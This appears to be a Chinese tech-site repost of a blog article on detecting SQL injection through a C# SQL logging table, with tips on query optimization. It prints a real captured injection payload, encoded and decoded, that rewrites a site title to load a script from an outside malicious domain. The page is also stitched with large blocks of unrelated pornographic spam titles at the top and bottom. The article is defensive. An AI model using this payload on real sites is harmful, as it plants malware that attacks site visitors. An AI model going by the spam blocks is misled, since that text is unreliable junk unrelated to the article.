精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

記一次成功的SQL注入入侵檢測附帶SQL性能優化

運維 數據庫運維
很多同學和園友都遇到過SQL注入的,其中大部分都是代碼的不嚴謹造成的,都是犯過很多錯誤才學會認真起來。

很多同學和園友都遇到過sql注入的,其中大部分都是代碼的不嚴謹造成的,都是犯過很多錯誤才學會認真起來。

但是如果是讓你接手一個二等殘廢的網站,并讓你在上面改版,而且不能推翻式改版,只能逐步替換舊的程序,那么你會非常痛苦,例如我遇到的問題:

問題1.

老板對你說,以前剛做完網站好好了,沒有出現木馬,怎么你來了,就會出現木馬,先別說了,趕緊解決問題,我徹底無語,但是如果爭吵,其實證明你和老板一樣無知,拿出證據和事實分析來讓公司其他稍微懂技術的一起來證明,公司網站被掛馬不是你來了的錯。

如是我通過網站目錄仔細排查將通過fck上傳的網馬刪除并修補fck的上傳漏洞并記下了這篇  Fckeditor使用筆記 ,其實很多人都遇到過,也解決過,都是小問題,但是讓你老板明白比解決漏洞問題更蛋疼,我那解釋的叫一個汗啊,恨不得把公司所有稍微懂點技術的都叫上讓他們看什么是大馬什么是小馬,然后演示怎么上傳木馬,奶奶的,黑客教程普及啊。

問題2.  

網站又出現問題,上次的問題解決了不過兩個月,網站又被入侵掛馬,如是老板這次再說因為我來了才出問題,立馬走人,這就是為什么不能更不懂技術的人硬碰硬,更不能和你的老板來說,說了你又不懂。

但是要命的是網站是以前的技術開發的二等殘廢,在別個的cms上修改的,我必須保證網站在的開發的同時舊的模塊還可以使用,通過逐步更新的方法將網站底層翻新,但是那么多頁面,你很難一個一個去檢測那個頁面有漏洞,如是寫出下面的檢測代碼,沒想到這么簡單的就搞定了,并且可以通過此方法優化你的sql。

第一步建立一個sql日志表

  1. CREATE TABLE [dbo].[my_sqllog](  
  2.     [id] [bigint] IDENTITY(1,1) NOT NULL,  
  3.     [hit] [bigintNULL,  
  4.     [sqltext] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  5.     [paramdetails] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  6.     [begintime] [datetime] NULL,  
  7.     [endtime] [datetime] NULL,  
  8.     [fromurl] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  9.     [ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,  
  10.     [lastelapsedtime] [bigintNULL,  
  11.  CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED   
  12. (  
  13.     [id] ASC 
  14. )WITH (IGNORE_DUP_KEY = OFFON [PRIMARY]  
  15. ON [PRIMARY

記錄sql語句、此sql語句被執行次數,參數及值,記錄開始時間,結束時間,來自哪個頁面,ip和此條語句執行時間(暫時沒用)

第二步在sqlhelper里寫記錄代碼

兩個方法本來可以寫成private的,但是此二等殘廢的網站其他地方用的別的sqlhelper類,就直接調用此處通過合理優化的sqlhelper類的方法了。

代碼1:插入日志

  1. public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)  
  2.         {  
  3.             #region 參數處理  
  4.             string colums = "";  
  5.             string dbtypes = "";  
  6.             string values = "";  
  7.             string paramdetails = "";  
  8.  
  9.  
  10.             if (cmdParams != null && cmdParams.Length > 0)  
  11.             {  
  12.                 foreach (DbParameter param in cmdParams)  
  13.                 {  
  14.                     if (param == null)  
  15.                     {  
  16.                         continue;  
  17.                     }  
  18.  
  19.                     colums += param.ParameterName + " ";  
  20.                     dbtypes += param.DbType + " ";  
  21.                     values += param.Value + ";";  
  22.                 }  
  23.  
  24.                 paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);  
  25.             }  
  26.             string fromurl = "";  
  27.             if (System.Web.HttpContext.Current!=null)  
  28.             {  
  29.                 fromurl = System.Web.HttpContext.Current.Request.Url.ToString();  
  30.             }  
  31.            // commandText = commandText.Replace("'","‘").Replace(";",";");  
  32.             SqlParameter[] parameters = new SqlParameter[]  
  33.                                           {  
  34.                                               new SqlParameter("@hit",1),  
  35.                                               new SqlParameter("@sqltext",commandText),  
  36.                                               new SqlParameter("@paramdetails",paramdetails),  
  37.                                               new SqlParameter("@begintime",DateTime.Now),  
  38.                                               new SqlParameter("@endtime",DateTime.Now),  
  39.                                               new SqlParameter("@fromurl",fromurl),  
  40.                                               new SqlParameter("@ip",Web.PressRequest.GetIP()),  
  41.                                               new SqlParameter("@lastelapsedtime",0),   
  42.                                           };  
  43.  
  44.              
  45.             #endregion  
  46.  
  47.             using (DbConnection connection = Factory.CreateConnection())  
  48.             {  
  49.                 connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;  
  50.  
  51.                 string sql = "";  
  52.  
  53.                 // 執行DbCommand命令,并返回結果.  
  54.                 int id =  
  55.                     Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,  
  56.                                                                   "select top 1 id from my_sqllog where sqltext=@sqltext",  
  57.                                                                   new SqlParameter("@sqltext", commandText)));  
  58.                 if (id > 0)  
  59.                 {  
  60.                     sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;  
  61.                 }  
  62.                 else 
  63.                 {  
  64.                     sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";  
  65.                 }  
  66.                 // 創建DbCommand命令,并進行預處理  
  67.                 DbCommand cmd = Factory.CreateCommand();  
  68.                 bool mustCloseConnection = false;  
  69.                 PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);  
  70.                 // 執行DbCommand命令,并返回結果.  
  71.                 int retval = cmd.ExecuteNonQuery();  
  72.  
  73.                 // 清除參數,以便再次使用.  
  74.                 cmd.Parameters.Clear();  
  75.                 if (mustCloseConnection)  
  76.                     connection.Close();  
  77.                 return retval;  
  78.             }  
  79.  
  80.  
  81.             
  82.         }  

代碼2:判斷此條sql是否存在

  1. private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)  
  2.         {  
  3.  
  4.             if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");  
  5.             // 創建并打開數據庫連接對象,操作完成釋放對象.  
  6.             using (DbConnection connection = Factory.CreateConnection())  
  7.             {  
  8.                 if (connection == null) throw new ArgumentNullException("connection");  
  9.  
  10.                 //connection.Close();  
  11.                 connection.ConnectionString = GetRealConnectionString(commandText);  
  12.                 connection.Open();  
  13.  
  14.                 // 創建DbCommand命令,并進行預處理  
  15.                 DbCommand cmd = Factory.CreateCommand();  
  16.  
  17.                 bool mustCloseConnection = false;  
  18.                 PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);  
  19.  
  20.                 // 執行DbCommand命令,并返回結果.  
  21.                 object retval = cmd.ExecuteScalar();  
  22.  
  23.                 // 清除參數,以便再次使用.  
  24.                 cmd.Parameters.Clear();  
  25.  
  26.                 if (mustCloseConnection)  
  27.                     connection.Close();  
  28.  
  29.                 return retval;  
  30.             }  
  31.  
  32.         }  

第三部在你的每個執行sql語句的方法里加入以下代碼,不管是ExecuteScalar、ExecuteReader還是ExecuteNonQuery等等都加上

  1. //執行sql之前進行日志記錄操縱  
  2.   int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters); 

代碼示例:

  1. public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)  
  2. {  
  3.     if (connection == null) throw new ArgumentNullException("connection");  
  4.  
  5.     //connection.Close();  
  6.     connection.ConnectionString = GetRealConnectionString(commandText);  
  7.     connection.Open();  
  8.  
  9.     // 創建DbCommand命令,并進行預處理  
  10.     DbCommand cmd = Factory.CreateCommand();  
  11.  
  12.     bool mustCloseConnection = false;  
  13.     PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);  
  14.     //執行sql之前進行日志記錄操縱  
  15.     int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);  
  16.     // 執行DbCommand命令,并返回結果.  
  17.     object retval = cmd.ExecuteScalar();  
  18.  
  19.     // 清除參數,以便再次使用.  
  20.     cmd.Parameters.Clear();  
  21.  
  22.     if (mustCloseConnection)  
  23.         connection.Close();  
  24.  
  25.     return retval;  
  26. }  

然后你會發現入侵的入口被記錄下來了,后面方框里的就是構造注入的sql

 

構造sql如下:

  1. 39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 

轉碼后變成這樣了:

  1. update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://dfrgcc.com/ur.php></script>'

這個就是木馬地址,沒事你就別點了,好奇害死貓。

小 結:     

既然知道入口就知道怎么補救了吧,把string類型該過濾的都過濾掉,int類型的就得是int類型,別讓數據庫替你隱式轉。通過此sql日志記錄,你應該發現一點那個hit還是有點價值的。

通過select top 100 * from my_sqllog order by hit desc你會發現你寫的那么多sql原來真垃圾,在條件允許的情況下干嘛不把它放到緩存里。所以后來我寫的sql基本不在這top 100里。

拋磚引玉,望高手批評,以上入侵方法希望剛學習做程序員的同學不要用來欺負小網站,傷不起。

原文鏈接:http://www.cnblogs.com/jqbird/archive/2011/09/25/2190332.html

【編輯推薦】

  1. NoSQL數據庫漸入佳境 國內應用案例盤點
  2. 數據庫遷移之何去何從
  3. 教你五步優化你的MongoDB
  4. 數據庫緩存重建不容忽視
  5. SQL Server數據庫恢復案例分享
責任編輯:艾婧 來源: jqbird的博客
相關推薦

2021-07-30 07:28:16

SQL優化日志

2020-02-10 10:15:31

技術研發指標

2017-11-30 09:52:26

SQLSQL Monitor查詢優化

2019-12-16 07:18:42

數據庫SQL代碼

2009-07-19 10:24:14

2011-02-22 09:29:23

jQueryJavaScript

2020-06-05 08:53:31

接口性能實踐

2020-08-10 11:00:02

Python優化代碼

2022-09-14 12:01:35

服務器入侵篡改,

2015-07-17 10:04:33

MKMapView優化

2019-08-01 15:05:22

2019-09-27 17:24:26

數據庫優化sql

2021-01-08 13:52:15

Consul微服務服務注冊中心

2021-08-26 22:26:55

性能優化技術

2023-01-05 11:44:43

性能HTTPS

2019-04-04 15:00:40

SQL索引數據庫

2011-08-12 09:30:02

MongoDB

2022-02-17 11:19:33

Kubernetes服務器運維

2015-03-18 13:18:45

MySQLSQL優化

2017-07-10 07:55:50

虛擬化Windows IO云計算
點贊
收藏

51CTO技術棧公眾號

日韩小视频在线播放| 91久久精品一区二区别| 熟女少妇内射日韩亚洲| 高清在线一区| 亚洲日本一区二区| 国产在线观看一区| 免费一级a毛片| 欧美+日本+国产+在线a∨观看| 欧美精品一区二区久久久| 成熟老妇女视频| 岛国成人毛片| 2024国产精品| 91免费看国产| 国产第一页在线观看| 欧美1区2区视频| 亚洲色图13p| 亚洲成人激情小说| 性欧美18一19sex性欧美| 亚洲乱码一区二区三区在线观看| 国产伦精品一区二区三区在线 | 欧美日韩在线免费视频| 国产91在线亚洲| 3d成人动漫在线| 99riav久久精品riav| 亚洲aaaaaa| 91麻豆精品在线| 亚洲第一黄网| 欧美精品免费播放| 国产在视频线精品视频| 色狠狠久久av综合| 精品国产伦一区二区三区观看体验 | 91成人在线观看喷潮| 日本福利视频在线观看| 在线免费av电影| 国产日韩欧美制服另类| 好吊色欧美一区二区三区四区| 国产乱码精品一区二三区蜜臂 | 91超薄肉色丝袜交足高跟凉鞋| 国产成人精品一区二区三区视频 | 最近国语视频在线观看免费播放| 99精品免费视频| 欧美精品在线免费播放| 亚洲色图27p| 激情婷婷综合| 亚洲人成毛片在线播放| 三级男人添奶爽爽爽视频| 深夜福利一区| 精品美女一区二区| 亚洲911精品成人18网站| 91精品亚洲一区在线观看| 欧洲日韩一区二区三区| 国产福利一区视频| 欧美大片高清| 色噜噜偷拍精品综合在线| 可以在线看的av网站| aa视频在线观看| 香蕉久久一区二区不卡无毒影院 | 免费观看成人高| 午夜在线视频观看| 91在线播放网址| 久久精品日产第一区二区三区精品版| 国产综合视频在线| 北岛玲一区二区三区四区| 国产一区二区无遮挡| 天堂在线视频免费| 91在线精品一区二区三区| 久久精品magnetxturnbtih| 日本精品一区二区在线观看| 床上的激情91.| 国产精品精品软件视频| 亚洲av成人无码网天堂| 99re这里都是精品| 日韩亚洲视频| 欧美精品电影| 亚洲综合视频网| 免费不卡av在线| 亚洲精品一区| 在线电影院国产精品| 超碰人人cao| 免费福利视频一区| 国产小视频91| 少妇被躁爽到高潮无码文| 亚洲视频观看| 国产精品高潮在线| 国产日产亚洲系列最新| caoporn国产一区二区| 欧美自拍资源在线| 国产不卡在线| 狠狠躁夜夜躁人人爽天天天天97 | www.26天天久久天堂| 91麻豆精品国产91久久久久久久久 | 久久久999成人| 免费观看一级视频| 老妇喷水一区二区三区| 91精品视频观看| 性xxxx视频| 最新久久zyz资源站| 免费人成自慰网站| 国产成+人+综合+亚洲欧美| 欧美电视剧在线看免费| jizz中文字幕| 欧美日韩精品一本二本三本| 国产精品av免费在线观看| 99在线观看免费| 久久蜜桃av一区二区天堂| 麻豆md0077饥渴少妇| 在线高清av| 日韩女优av电影| 精品无码人妻一区二区免费蜜桃| 欧美黄色精品| 国产精品久久久久久中文字| 成人毛片在线精品国产| 国产精品午夜在线| 中文字幕无码精品亚洲35| 91精品一区| 精品一区二区三区三区| 欧美成人三级在线观看| 麻豆精品新av中文字幕| 久久人人97超碰人人澡爱香蕉| 黄色网址在线免费播放| 91激情在线视频| 亚洲av成人片色在线观看高潮| 欧美电影一区| 国产精品成人免费视频| 无码国精品一区二区免费蜜桃| 一区二区中文字幕在线| 992kp快乐看片永久免费网址| 韩国女主播一区二区三区| 欧美成人自拍视频| 一级黄色a视频| 欧美国产日本韩| 日本a级片免费观看| 国产精品任我爽爆在线播放| 久久色在线播放| 这里只有精品国产| 久久九九99视频| 日本精品www| 婷婷精品在线| 97在线视频免费观看| 亚洲国产精品suv| 亚洲精品久久嫩草网站秘色| 天天综合天天添夜夜添狠狠添| 欧洲杯半决赛直播| 国产成人在线视频| 精品美女视频在线观看免费软件| 黑人精品xxx一区| 免费a在线观看播放| 99这里有精品| 欧美日韩国产三区| 超级碰碰久久| 亚洲网站在线播放| 中文在线最新版天堂| 国产精品三级在线观看| 成人亚洲视频在线观看| 精品香蕉视频| 国产女人18毛片水18精品| 尤物视频在线免费观看| 欧美挠脚心视频网站| 91狠狠综合久久久久久| 久久精品99国产精品| 亚洲亚洲精品三区日韩精品在线视频 | 狠狠综合久久av一区二区| 亚洲午夜av在线| 亚洲天堂美女视频| 久久黄色影院| 亚洲人成人77777线观看| 欧美aaa级| 欧美高清videos高潮hd| 日本久久一级片| 色噜噜久久综合| 小向美奈子av| 成人久久18免费网站麻豆| 欧美视频在线观看网站| 精品一区欧美| 91精品国产综合久久香蕉922| 国产精品一区二区三区视频网站| 日韩欧美一区在线| 久久久久久久久久久久久久av| 久久久亚洲欧洲日产国码αv| 国产日韩欧美久久| 欧美日一区二区三区在线观看国产免| 精品国产综合区久久久久久| 日本成人伦理电影| 两个人的视频www国产精品| 欧美一区二区三区黄片| 色一区在线观看| 国产成人av免费在线观看| proumb性欧美在线观看| 无人在线观看的免费高清视频 | 国产一区二区在线播放视频| 一区二区成人在线| 麻豆精品免费视频| 国产乱人伦偷精品视频免下载| 久无码久无码av无码| 精品视频免费| 国产精品v欧美精品v日韩精品| se01亚洲视频| 色综合五月天导航| 不卡在线视频| 亚洲精品美女在线| 99久久婷婷国产一区二区三区| 天天综合网天天综合色| 91av手机在线| 99久久久精品| 欧美精品色视频| 免费欧美在线视频| 国产美女网站在线观看| 午夜久久免费观看| 日本一区二区精品| 国产精品18hdxxxⅹ在线| 国产综合视频在线观看| 第84页国产精品| 欧美国产亚洲精品久久久8v| 99reav在线| 亚洲另类欧美自拍| 高潮一区二区三区乱码| 在线播放91灌醉迷j高跟美女 | 无遮挡亚洲一区| 黄色美女久久久| 91手机在线播放| 国产成人精选| 国产91色在线|免| 丰乳肥臀在线| 精品中文字幕在线观看| 免费a级在线播放| 夜夜嗨av色综合久久久综合网| 日韩一级片免费在线观看| 欧美一区二区三区免费观看视频| 一级久久久久久| 欧美日韩一区二区精品| 中文字幕第28页| 一区二区三区中文免费| 麻豆天美蜜桃91| 国产精品久久久久影院亚瑟| 无码熟妇人妻av| 26uuu国产日韩综合| 日本一区二区在线观看视频| 国产伦精品一区二区三区免费| 午夜精品免费看| 精品一区二区三区在线视频| 国产精品自拍视频在线| 欧美aaaaa成人免费观看视频| 免费午夜视频在线观看| 香蕉国产精品偷在线观看不卡| 男女视频网站在线观看| 在线亚洲免费| 亚洲熟妇av一区二区三区| 国产精品日韩| 中文字幕乱码人妻综合二区三区| 亚洲一区二区毛片| 国产无套内射久久久国产| 国产精品一页| 99久久激情视频| 日本成人在线一区| 久久久久久久久久久久91| 免费日本视频一区| 狠狠躁狠狠躁视频专区| 久久国产精品露脸对白| 国产精欧美一区二区三区白种人| 国内精品视频一区二区三区八戒| 午夜精品久久久久久久99热影院| 精品亚洲porn| 中文字幕1区2区| 91香蕉视频mp4| www.av天天| 亚洲婷婷在线视频| 久久黄色免费视频| 天天亚洲美女在线视频| 国产精品久久久久久久久久精爆| 91极品美女在线| 91丨porny丨在线中文| 日韩精品一区二区三区在线播放| 无码精品人妻一区二区| 国产午夜精品一区理论片飘花| 日本视频在线观看| 欧美精品第一页在线播放| 日韩伦理福利| 国产精品香蕉在线观看| 欧美一区一区| 欧美精品二区三区四区免费看视频 | 欧美日韩不卡| 亚洲精品免费av| 三级精品视频| 在线播放 亚洲| 亚洲久久一区二区| 午夜免费高清视频| 国产成人av电影在线观看| 日本xxx在线播放| 最新国产精品久久精品| 欧美一区二区激情视频| 欧美日韩aaaaa| 日韩在线视频免费| 自拍亚洲一区欧美另类| 国产极品在线观看| 成人激情免费在线| 亚洲警察之高压线| 一级特黄妇女高潮| 视频一区二区中文字幕| 91av免费观看| 国产精品久久毛片| 91在线视频在线观看| 日韩欧美国产一二三区| www.亚洲视频| 欧美中文字幕第一页| 日韩av综合| 一区二区三区四区视频在线观看 | 亚洲欧洲国产精品久久| 伊人情人综合网| 亚洲色精品三区二区一区| 粉嫩一区二区三区性色av| 色撸撸在线视频| 福利精品视频在线| 亚洲精品久久久久久无码色欲四季| 国产亚洲精品激情久久| 国内激情视频在线观看| 亚洲精品日产aⅴ| 日韩av大片| 91猫先生在线| 成人一级黄色片| a在线视频播放观看免费观看| 在线影院国内精品| 日漫免费在线观看网站| 欧美激情一二三| 亚洲日日夜夜| 亚洲一卡二卡区| 日韩va欧美va亚洲va久久| 黄色a一级视频| 婷婷六月综合亚洲| 欧美一级一区二区三区| 欧美高清在线观看| 99er精品视频| 在线视频精品一区| 免费久久精品视频| 小早川怜子久久精品中文字幕| 精品久久久久久亚洲国产300| 国精品人妻无码一区二区三区喝尿 | 国产日产一区二区三区| 国产免费久久av| 久久免费av| 不卡的在线视频| 1024成人网色www| 国产精品国产一区二区三区四区 | 黑鬼狂亚洲人videos| 欧美男生操女生| 成人在线免费看黄| 91夜夜未满十八勿入爽爽影院| 欧美激情成人| 涩涩网站在线看| 一区二区三区欧美视频| 亚洲美女性生活| 久久露脸国产精品| 美国成人xxx| 日本三区在线观看| 国产欧美一区二区在线| 艳妇乳肉豪妇荡乳av无码福利| 影音先锋欧美精品| 婷婷精品久久久久久久久久不卡| 一区二区三视频| 国产精品一品二品| 国产一级视频在线播放| 亚洲电影免费观看高清| 中文在线免费二区三区| 日韩免费av电影| 精品一区二区三区的国产在线播放| 国产一区二区三区在线视频观看| 欧美一级高清片| 国产中文在线播放| 涩涩日韩在线| 国产呦萝稀缺另类资源| 国产真实乱偷精品视频| 亚洲欧美日韩精品久久奇米色影视| 性欧美freehd18| 日韩精品福利片午夜免费观看| 国产69精品久久久久777| 亚洲欧美在线视频免费| 亚洲午夜激情免费视频| 国产精品白丝久久av网站| 2018国产在线| 国产精品乱子久久久久| 精品国产九九九| 国产91精品久久久久| 日韩欧美二区| 成人免费看片载| 欧美在线一区二区| 蜜臀av在线| 欧洲精品久久| 国产精品99久| 日韩电影在线观看一区二区| 久久亚洲国产成人| 亚洲aaa级| 激情在线观看视频| 欧美日韩激情视频| 九七久久人人| 另类小说综合网| 国产精品一区二区在线看| 69视频免费在线观看| 久久亚洲私人国产精品va| 国产一区二区区别| 18禁一区二区三区| 在线欧美日韩国产|